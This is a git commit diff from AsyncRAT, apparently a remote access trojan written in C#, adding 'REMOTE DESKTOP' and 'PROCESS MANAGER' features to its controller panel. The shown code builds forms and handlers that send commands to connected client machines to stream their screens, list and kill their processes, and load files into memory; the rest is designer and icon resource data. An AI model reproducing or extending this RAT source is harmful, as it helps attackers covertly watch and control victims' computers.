Added remotedesktop + process manager
This commit is contained in:
NYAN CAT 2019-02-07 15:47:12 -08:00
parent 5a3225eecf
commit 264affa76f
76 changed files with 12384 additions and 24 deletions

View File

@ -21,6 +21,7 @@
<DefineConstants>DEBUG;TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
@ -55,6 +56,18 @@
<Compile Include="Forms\Form1.Designer.cs">
<DependentUpon>Form1.cs</DependentUpon>
</Compile>
<Compile Include="Forms\ProcessManager.cs">
<SubType>Form</SubType>
</Compile>
<Compile Include="Forms\ProcessManager.Designer.cs">
<DependentUpon>ProcessManager.cs</DependentUpon>
</Compile>
<Compile Include="Forms\RemoteDesktop.cs">
<SubType>Form</SubType>
</Compile>
<Compile Include="Forms\RemoteDesktop.Designer.cs">
<DependentUpon>RemoteDesktop.cs</DependentUpon>
</Compile>
<Compile Include="Handle Packet\HandlePacket.cs" />
<Compile Include="Helper.cs" />
<Compile Include="MessagePack\BytesTools.cs" />
@ -73,9 +86,45 @@
<Compile Include="Settings.cs" />
<Compile Include="Socket\Clients.cs" />
<Compile Include="Socket\Listener.cs" />
<Compile Include="StreamLibrary\Codecs\DirectDriverCodec.cs" />
<Compile Include="StreamLibrary\Codecs\MJPGCodec.cs" />
<Compile Include="StreamLibrary\Codecs\QuickCachedStreamCodec.cs" />
<Compile Include="StreamLibrary\Codecs\QuickStreamCodec.cs" />
<Compile Include="StreamLibrary\Codecs\SmallCachedStreamCodec.cs" />
<Compile Include="StreamLibrary\Codecs\SmallStreamCodec.cs" />
<Compile Include="StreamLibrary\Encoders\GridCoder\GridBlock.cs" />
<Compile Include="StreamLibrary\Encoders\GridCoder\GridEncoder.cs" />
<Compile Include="StreamLibrary\Enums.cs" />
<Compile Include="StreamLibrary\IEncoder.cs" />
<Compile Include="StreamLibrary\IUnsafeCodec.cs" />
<Compile Include="StreamLibrary\IVideoCodec.cs" />
<Compile Include="StreamLibrary\src\CRC32.cs" />
<Compile Include="StreamLibrary\src\ExtensionAttribute.cs" />
<Compile Include="StreamLibrary\src\Extentions.cs" />
<Compile Include="StreamLibrary\src\FastBitmap.cs" />
<Compile Include="StreamLibrary\src\JpgCompression.cs" />
<Compile Include="StreamLibrary\src\LzwCompression.cs" />
<Compile Include="StreamLibrary\src\MurmurHash2Unsafe.cs" />
<Compile Include="StreamLibrary\src\NativeMethods.cs" />
<Compile Include="StreamLibrary\src\PayloadWriter.cs" />
<Compile Include="StreamLibrary\src\PointerHelper.cs" />
<Compile Include="StreamLibrary\src\SafeQuickLZ.cs" />
<Compile Include="StreamLibrary\src\SimpleBitmap.cs" />
<Compile Include="StreamLibrary\UnsafeCodecs\UnsafeCacheCodec.cs" />
<Compile Include="StreamLibrary\UnsafeCodecs\UnsafeCachedStreamCodec.cs" />
<Compile Include="StreamLibrary\UnsafeCodecs\UnsafeMiniCodec.cs" />
<Compile Include="StreamLibrary\UnsafeCodecs\UnsafeOptimizedCodec.cs" />
<Compile Include="StreamLibrary\UnsafeCodecs\UnsafeQuickStream.cs" />
<Compile Include="StreamLibrary\UnsafeCodecs\UnsafeStreamCodec.cs" />
<EmbeddedResource Include="Forms\Form1.resx">
<DependentUpon>Form1.cs</DependentUpon>
</EmbeddedResource>
<EmbeddedResource Include="Forms\ProcessManager.resx">
<DependentUpon>ProcessManager.cs</DependentUpon>
</EmbeddedResource>
<EmbeddedResource Include="Forms\RemoteDesktop.resx">
<DependentUpon>RemoteDesktop.cs</DependentUpon>
</EmbeddedResource>
<EmbeddedResource Include="Properties\Resources.resx">
<Generator>ResXFileCodeGenerator</Generator>
<LastGenOutput>Resources.Designer.cs</LastGenOutput>
@ -108,5 +157,6 @@
<ItemGroup>
<Content Include="async_icon.ico" />
</ItemGroup>
<ItemGroup />
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
</Project>

View File

@ -32,6 +32,7 @@
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Form1));
this.listView1 = new System.Windows.Forms.ListView();
this.lv_ip = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.lv_hwid = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.lv_user = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.lv_os = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.contextMenuStrip1 = new System.Windows.Forms.ContextMenuStrip(this.components);
@ -43,11 +44,12 @@
this.sENDMESSAGEBOXToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.sENDFILEToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.sENDFILETOMEMORYToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.rEMOTEDESKTOPToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.statusStrip1 = new System.Windows.Forms.StatusStrip();
this.toolStripStatusLabel1 = new System.Windows.Forms.ToolStripStatusLabel();
this.ping = new System.Windows.Forms.Timer(this.components);
this.UpdateUI = new System.Windows.Forms.Timer(this.components);
this.lv_hwid = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.pROCESSMANAGERToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.contextMenuStrip1.SuspendLayout();
this.statusStrip1.SuspendLayout();
this.SuspendLayout();
@ -78,6 +80,11 @@
this.lv_ip.Text = "IP";
this.lv_ip.Width = 150;
//
// lv_hwid
//
this.lv_hwid.Text = "HWID";
this.lv_hwid.Width = 150;
//
// lv_user
//
this.lv_user.Text = "USER";
@ -96,9 +103,11 @@
this.toolStripSeparator1,
this.sENDMESSAGEBOXToolStripMenuItem,
this.sENDFILEToolStripMenuItem,
this.sENDFILETOMEMORYToolStripMenuItem});
this.sENDFILETOMEMORYToolStripMenuItem,
this.rEMOTEDESKTOPToolStripMenuItem,
this.pROCESSMANAGERToolStripMenuItem});
this.contextMenuStrip1.Name = "contextMenuStrip1";
this.contextMenuStrip1.Size = new System.Drawing.Size(275, 130);
this.contextMenuStrip1.Size = new System.Drawing.Size(275, 223);
//
// cLIENTOPTIONSToolStripMenuItem
//
@ -157,6 +166,13 @@
this.sENDFILETOMEMORYToolStripMenuItem.Text = "SEND FILE TO MEMORY";
this.sENDFILETOMEMORYToolStripMenuItem.Click += new System.EventHandler(this.sENDFILETOMEMORYToolStripMenuItem_Click);
//
// rEMOTEDESKTOPToolStripMenuItem
//
this.rEMOTEDESKTOPToolStripMenuItem.Name = "rEMOTEDESKTOPToolStripMenuItem";
this.rEMOTEDESKTOPToolStripMenuItem.Size = new System.Drawing.Size(274, 30);
this.rEMOTEDESKTOPToolStripMenuItem.Text = "REMOTE DESKTOP";
this.rEMOTEDESKTOPToolStripMenuItem.Click += new System.EventHandler(this.rEMOTEDESKTOPToolStripMenuItem_Click);
//
// statusStrip1
//
this.statusStrip1.ImageScalingSize = new System.Drawing.Size(24, 24);
@ -186,10 +202,12 @@
this.UpdateUI.Interval = 1000;
this.UpdateUI.Tick += new System.EventHandler(this.UpdateUI_Tick);
//
// lv_hwid
// pROCESSMANAGERToolStripMenuItem
//
this.lv_hwid.Text = "HWID";
this.lv_hwid.Width = 150;
this.pROCESSMANAGERToolStripMenuItem.Name = "pROCESSMANAGERToolStripMenuItem";
this.pROCESSMANAGERToolStripMenuItem.Size = new System.Drawing.Size(274, 30);
this.pROCESSMANAGERToolStripMenuItem.Text = "PROCESS MANAGER";
this.pROCESSMANAGERToolStripMenuItem.Click += new System.EventHandler(this.pROCESSMANAGERToolStripMenuItem_Click);
//
// Form1
//
@ -231,7 +249,9 @@
private System.Windows.Forms.ToolStripMenuItem sENDMESSAGEBOXToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem sENDFILEToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem sENDFILETOMEMORYToolStripMenuItem;
private System.Windows.Forms.ColumnHeader lv_hwid;
private System.Windows.Forms.ToolStripMenuItem rEMOTEDESKTOPToolStripMenuItem;
public System.Windows.Forms.ColumnHeader lv_hwid;
private System.Windows.Forms.ToolStripMenuItem pROCESSMANAGERToolStripMenuItem;
}
}

View File

@ -8,6 +8,7 @@ using System.Linq;
using System.Threading;
using System.Drawing;
using System.IO;
using AsyncRAT_Sharp.Forms;
// │ Author : NYAN CAT
// │ Name : AsyncRAT // Simple Socket
@ -66,7 +67,7 @@ namespace AsyncRAT_Sharp
}
private void ping_Tick(object sender, EventArgs e)
private async void ping_Tick(object sender, EventArgs e)
{
if (Settings.Online.Count > 0)
{
@ -75,7 +76,7 @@ namespace AsyncRAT_Sharp
msgpack.ForcePathObject("Message").AsString = "This is a ping!";
foreach (Clients CL in Settings.Online.ToList())
{
Task.Run(() =>
await Task.Run(() =>
{
CL.BeginSend(msgpack.Encode2Bytes());
});
@ -89,7 +90,7 @@ namespace AsyncRAT_Sharp
toolStripStatusLabel1.Text = string.Format("Online {0} Sent {1} Received {2}", Settings.Online.Count.ToString(), Helper.BytesToString(Settings.Sent).ToString(), Helper.BytesToString(Settings.Received).ToString());
}
private void cLOSEToolStripMenuItem_Click(object sender, EventArgs e)
private async void cLOSEToolStripMenuItem_Click(object sender, EventArgs e)
{
if (listView1.SelectedItems.Count > 0)
{
@ -97,7 +98,7 @@ namespace AsyncRAT_Sharp
msgpack.ForcePathObject("Packet").AsString = "close";
foreach (ListViewItem C in listView1.SelectedItems)
{
Task.Run(() =>
await Task.Run(() =>
{
Clients CL = (Clients)C.Tag;
CL.BeginSend(msgpack.Encode2Bytes());
@ -106,7 +107,7 @@ namespace AsyncRAT_Sharp
}
}
private void sENDMESSAGEBOXToolStripMenuItem_Click(object sender, EventArgs e)
private async void sENDMESSAGEBOXToolStripMenuItem_Click(object sender, EventArgs e)
{
if (listView1.SelectedItems.Count > 0)
{
@ -120,7 +121,7 @@ namespace AsyncRAT_Sharp
msgpack.ForcePathObject("Message").AsString = Msgbox;
foreach (ListViewItem C in listView1.SelectedItems)
{
Task.Run(() =>
await Task.Run(() =>
{
Clients CL = (Clients)C.Tag;
CL.BeginSend(msgpack.Encode2Bytes());
@ -162,7 +163,7 @@ namespace AsyncRAT_Sharp
}
}
private void uNISTALLToolStripMenuItem_Click(object sender, EventArgs e)
private async void uNISTALLToolStripMenuItem_Click(object sender, EventArgs e)
{
if (listView1.SelectedItems.Count > 0)
{
@ -170,7 +171,7 @@ namespace AsyncRAT_Sharp
msgpack.ForcePathObject("Packet").AsString = "uninstall";
foreach (ListViewItem C in listView1.SelectedItems)
{
Task.Run(() =>
await Task.Run(() =>
{
Clients CL = (Clients)C.Tag;
CL.BeginSend(msgpack.Encode2Bytes());
@ -211,7 +212,7 @@ namespace AsyncRAT_Sharp
}
}
private void sENDFILETOMEMORYToolStripMenuItem_Click(object sender, EventArgs e)
private async void sENDFILETOMEMORYToolStripMenuItem_Click(object sender, EventArgs e)
{
if (listView1.SelectedItems.Count > 0)
{
@ -235,7 +236,7 @@ namespace AsyncRAT_Sharp
foreach (ListViewItem C in listView1.SelectedItems)
{
Task.Run(() =>
await Task.Run(() =>
{
Clients CL = (Clients)C.Tag;
CL.BeginSend(msgpack.Encode2Bytes());
@ -246,5 +247,76 @@ namespace AsyncRAT_Sharp
SF.Close();
}
}
private async void rEMOTEDESKTOPToolStripMenuItem_Click(object sender, EventArgs e)
{
{
if (listView1.SelectedItems.Count > 0)
{
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
msgpack.ForcePathObject("Option").AsString = "true";
foreach (ListViewItem C in listView1.SelectedItems)
{
await Task.Run(() =>
{
Clients CL = (Clients)C.Tag;
this.BeginInvoke((MethodInvoker)(() =>
{
RemoteDesktop RD = (RemoteDesktop)Application.OpenForms["RemoteDesktop:" + CL.ID];
if (RD == null)
{
RD = new RemoteDesktop
{
Name = "RemoteDesktop:" + CL.ID,
F = this,
Text = "RemoteDesktop:" + CL.ID,
C = CL,
Active = true
};
RD.Show();
CL.BeginSend(msgpack.Encode2Bytes());
}
}));
});
}
}
}
}
private async void pROCESSMANAGERToolStripMenuItem_Click(object sender, EventArgs e)
{
{
if (listView1.SelectedItems.Count > 0)
{
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "processManager";
msgpack.ForcePathObject("Option").AsString = "List";
foreach (ListViewItem C in listView1.SelectedItems)
{
await Task.Run(() =>
{
Clients CL = (Clients)C.Tag;
this.BeginInvoke((MethodInvoker)(() =>
{
ProcessManager PM = (ProcessManager)Application.OpenForms["processManager:" + CL.ID];
if (PM == null)
{
PM = new ProcessManager
{
Name = "processManager:" + CL.ID,
Text = "processManager:" + CL.ID,
F = this,
C = CL
};
PM.Show();
CL.BeginSend(msgpack.Encode2Bytes());
}
}));
});
}
}
}
}
}
}

View File

@ -0,0 +1,135 @@
namespace AsyncRAT_Sharp.Forms
{
partial class ProcessManager
{
/// <summary>
/// Required designer variable.
/// </summary>
private System.ComponentModel.IContainer components = null;
/// <summary>
/// Clean up any resources being used.
/// </summary>
/// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
protected override void Dispose(bool disposing)
{
if (disposing && (components != null))
{
components.Dispose();
}
base.Dispose(disposing);
}
#region Windows Form Designer generated code
/// <summary>
/// Required method for Designer support - do not modify
/// the contents of this method with the code editor.
/// </summary>
private void InitializeComponent()
{
this.components = new System.ComponentModel.Container();
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(ProcessManager));
this.listView1 = new System.Windows.Forms.ListView();
this.lv_name = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.lv_id = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.imageList1 = new System.Windows.Forms.ImageList(this.components);
this.timer1 = new System.Windows.Forms.Timer(this.components);
this.contextMenuStrip1 = new System.Windows.Forms.ContextMenuStrip(this.components);
this.killToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.refreshToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.contextMenuStrip1.SuspendLayout();
this.SuspendLayout();
//
// listView1
//
this.listView1.BorderStyle = System.Windows.Forms.BorderStyle.None;
this.listView1.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] {
this.lv_name,
this.lv_id});
this.listView1.ContextMenuStrip = this.contextMenuStrip1;
this.listView1.Dock = System.Windows.Forms.DockStyle.Fill;
this.listView1.FullRowSelect = true;
this.listView1.GridLines = true;
this.listView1.HeaderStyle = System.Windows.Forms.ColumnHeaderStyle.Nonclickable;
this.listView1.Location = new System.Drawing.Point(0, 0);
this.listView1.Name = "listView1";
this.listView1.ShowGroups = false;
this.listView1.ShowItemToolTips = true;
this.listView1.Size = new System.Drawing.Size(659, 719);
this.listView1.SmallImageList = this.imageList1;
this.listView1.Sorting = System.Windows.Forms.SortOrder.Ascending;
this.listView1.TabIndex = 0;
this.listView1.UseCompatibleStateImageBehavior = false;
this.listView1.View = System.Windows.Forms.View.Details;
//
// lv_name
//
this.lv_name.Text = "Name";
this.lv_name.Width = 350;
//
// lv_id
//
this.lv_id.Text = "ID";
this.lv_id.Width = 150;
//
// imageList1
//
this.imageList1.ColorDepth = System.Windows.Forms.ColorDepth.Depth32Bit;
this.imageList1.ImageSize = new System.Drawing.Size(32, 32);
this.imageList1.TransparentColor = System.Drawing.Color.Transparent;
//
// timer1
//
this.timer1.Enabled = true;
this.timer1.Interval = 1000;
this.timer1.Tick += new System.EventHandler(this.timer1_Tick);
//
// contextMenuStrip1
//
this.contextMenuStrip1.ImageScalingSize = new System.Drawing.Size(24, 24);
this.contextMenuStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {
this.killToolStripMenuItem,
this.refreshToolStripMenuItem});
this.contextMenuStrip1.Name = "contextMenuStrip1";
this.contextMenuStrip1.Size = new System.Drawing.Size(241, 97);
//
// killToolStripMenuItem
//
this.killToolStripMenuItem.Name = "killToolStripMenuItem";
this.killToolStripMenuItem.Size = new System.Drawing.Size(240, 30);
this.killToolStripMenuItem.Text = "Kill";
this.killToolStripMenuItem.Click += new System.EventHandler(this.killToolStripMenuItem_Click);
//
// refreshToolStripMenuItem
//
this.refreshToolStripMenuItem.Name = "refreshToolStripMenuItem";
this.refreshToolStripMenuItem.Size = new System.Drawing.Size(240, 30);
this.refreshToolStripMenuItem.Text = "Refresh";
this.refreshToolStripMenuItem.Click += new System.EventHandler(this.refreshToolStripMenuItem_Click);
//
// ProcessManager
//
this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.ClientSize = new System.Drawing.Size(659, 719);
this.Controls.Add(this.listView1);
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
this.Name = "ProcessManager";
this.Text = "ProcessManager";
this.contextMenuStrip1.ResumeLayout(false);
this.ResumeLayout(false);
}
#endregion
private System.Windows.Forms.ColumnHeader lv_name;
private System.Windows.Forms.ColumnHeader lv_id;
public System.Windows.Forms.ListView listView1;
public System.Windows.Forms.ImageList imageList1;
private System.Windows.Forms.Timer timer1;
private System.Windows.Forms.ContextMenuStrip contextMenuStrip1;
private System.Windows.Forms.ToolStripMenuItem killToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem refreshToolStripMenuItem;
}
}

View File

@ -0,0 +1,62 @@
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using AsyncRAT_Sharp.MessagePack;
using AsyncRAT_Sharp.Sockets;
namespace AsyncRAT_Sharp.Forms
{
public partial class ProcessManager : Form
{
public ProcessManager()
{
InitializeComponent();
}
public Form1 F { get; set; }
internal Clients C { get; set; }
private void timer1_Tick(object sender, EventArgs e)
{
if (!C.Client.Connected)
{
this.Close();
}
}
private async void killToolStripMenuItem_Click(object sender, EventArgs e)
{
if (listView1.SelectedItems.Count > 0)
{
foreach (ListViewItem P in listView1.SelectedItems)
{
await Task.Run(() =>
{
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "processManager";
msgpack.ForcePathObject("Option").AsString = "Kill";
msgpack.ForcePathObject("ID").AsString = P.SubItems[lv_id.Index].Text;
C.BeginSend(msgpack.Encode2Bytes());
});
}
}
}
private async void refreshToolStripMenuItem_Click(object sender, EventArgs e)
{
await Task.Run(() =>
{
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "processManager";
msgpack.ForcePathObject("Option").AsString = "List";
C.BeginSend(msgpack.Encode2Bytes());
});
}
}
}

View File

@ -0,0 +1,586 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<metadata name="contextMenuStrip1.TrayLocation" type="System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">
<value>280, 17</value>
</metadata>
<metadata name="imageList1.TrayLocation" type="System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">
<value>17, 17</value>
</metadata>
<metadata name="timer1.TrayLocation" type="System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">
<value>166, 17</value>
</metadata>
<assembly alias="System.Drawing" name="System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" />
<data name="$this.Icon" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>
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
O//Yoln/1JhH/8R0Bv/DcQD5w3EAc8NxAADDcQAA3X0AAN19AADdfQCM3X0A/919AP/wxIz///////rt
2//hjiP/3XwA/919AP/afAD/x3MA/8NxAP/DcAD/yX8a//Tl0f//////58eb/8RzA//DcQD/w3EAoMNx
AAHDcQAA3X0AAN19AALdfQCl3X0A/917AP/kmDb//PTq///////rs2r/3HsA/919AP/afAD/x3IA/8Nx
AP/CbwD/2KRc//79/P/89/H/0pVC/8JvAP/DcQD/w3EAuMNxAAfDcQAA3X0AAN19AAjdfQC83X0A/919
AP/efwX/89Gk///////23r7/4IgV/96CCv/cgQr/yXgK/8V2Cv/HehH/7dOx///////t1LP/xXYK/8Nx
AP/DcQD/w3EAzcNxABHDcQAA3X0AAN19ABPdfQDR3X0A/919AP/dewD/56JJ//769P/++/j/+OPJ//ff
wf/238L/8d3C//Dcwf/y4Mf//fn1//78+v/XoVf/wm8A/8NxAP/DcQD/w3EA38NxAB7DcQAA3X0AAN19
ACHdfQDi3X0A/919AP/dfQD/34MN//bbuv////////////////////////////////////////////Lg
x//HexP/w3AA/8NxAP/DcQD/w3EA7cNxAC/DcQAA3X0AAN19ADPdfQDv3X0A/919AP/dfQD/3XsA/+mt
